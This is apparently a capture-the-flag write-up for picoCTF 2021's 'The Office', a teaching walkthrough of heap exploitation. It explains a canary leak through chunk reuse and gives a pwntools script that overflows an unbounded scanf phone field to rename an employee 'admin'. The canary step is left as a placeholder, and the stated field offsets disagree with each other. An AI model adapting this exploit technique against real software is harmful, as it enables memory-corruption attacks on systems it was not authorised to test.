The Office picoCTF 2021 Solution

Published: April 2, 2026

Description

A custom employee management binary uses its own malloc with canaries. Exploit a heap overflow to rename an employee to 'admin' and get the flag.

Download the binary and make it executable.

bash
wget <url>/office
bash
chmod +x office
  1. Step 1Reverse engineer the binary structure
    Load in Ghidra or IDA. The binary manages an array of 10 employees, each with fields at specific offsets: name at offset 0, email at offset 16, salary at offset 20, building at offset 36, phone number at offset 6. The 'get access token' menu option prints the flag if the employee name is 'admin'. The phone number input uses an unguarded %s scan that can overflow the buffer.
    bash
    ghidra office
    bash
    # Identify: add_employee, free_employee, get_token, heap_check functions
    Learn more

    The binary has a custom allocator with canaries inserted at the end of each chunk. The heap_check function (always called with 0) has debug printing available when called with 1 - patching the argument reveals heap layout details useful for computing the canary position.

    Key observation: the phone number field is read with an unguarded scanf("%s"), making it the overflow vector. Name and email use bounded reads.

  2. Step 2Leak the heap canary via building number
    Allocate an employee with a 28-character email (making the email chunk size 36). Delete that employee. Now allocate two new employees without email addresses. The second allocation reuses the old 36-byte chunk. When listing employees, the building number field of the second employee now contains the heap canary from that chunk.
    Learn more

    The email field allocation is 28 bytes plus overhead, making a 36-byte chunk. After freeing and reallocating two overlapping employees, the canary at the end of that 36-byte region falls at offset 36 within the second employee struct (exactly where building number is stored). Listing employees reveals the canary in plain text.

  3. Step 3Overflow the phone number to overwrite the adjacent employee's name
    Delete the first employee, then re-add them. The phone number overflow from this employee can reach into the second employee's struct. Craft a payload that: fills 28 bytes to reach the end of the first block, overwrites the canary (you know it from step 2), overwrites the two size fields (52 and 52), and places 'admin' as the next employee's name.
    python
    python3 << 'EOF'
    from pwn import *
    
    p = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>)
    
    def add(name, email=None, phone=None, building=None):
        p.sendlineafter(b"choice:", b"1")
        p.sendlineafter(b"name:", name)
        if email:
            p.sendlineafter(b"email? (y/n)", b"y")
            p.sendlineafter(b"email:", email)
        else:
            p.sendlineafter(b"email? (y/n)", b"n")
        p.sendlineafter(b"phone:", phone or b"0")
        if building:
            p.sendlineafter(b"building? (y/n)", b"y")
            p.sendlineafter(b"building:", building)
        else:
            p.sendlineafter(b"building? (y/n)", b"n")
    
    def remove(idx):
        p.sendlineafter(b"choice:", b"2")
        p.sendlineafter(b"employee #:", str(idx).encode())
    
    def list_employees():
        p.sendlineafter(b"choice:", b"3")
        return p.recvuntil(b"0. Exit")
    
    def get_token(idx):
        p.sendlineafter(b"choice:", b"4")
        p.sendlineafter(b"employee #:", str(idx).encode())
        return p.recvline()
    
    # Step 1: create employee with 28-char email to get 36-byte chunk, then delete
    add(b"alice", email=b"A" * 28, phone=b"1234567890")
    remove(0)
    
    # Step 2: add two employees without emails; second reuses the 36-byte chunk
    add(b"bob", phone=b"0")
    add(b"charlie", phone=b"0")
    
    # Step 3: list employees to read the canary from charlie's building field
    out = list_employees()
    # Parse canary from building field (implement based on actual output format)
    canary = ...  # extract from out
    
    # Step 4: remove bob, re-add with overflowing phone
    remove(0)
    payload = b"A" * 28 + canary + p32(52) + p32(52) + b"admin"
    add(b"dave", phone=payload)
    
    # Step 5: get access token for the employee now named "admin"
    print(get_token(1))
    EOF
    Learn more

    The overflow chain: phone number buffer at offset 24 within the first employee chunk (size 52). Writing 52 - 24 = 28 bytes reaches the canary. Then overwrite the canary (known), previous size and current size fields, and finally land on the adjacent employee's name field with the string "admin".

    Once an employee's name is "admin", selecting "get access token" for that employee prints the flag.

Flag

picoCTF{...}

Leak the custom heap canary from an overlapping allocation, then overflow the phone number field to write 'admin' into an adjacent employee's name field.

Want more picoCTF 2021 writeups?

Tools used in this challenge

Related reading

What to try next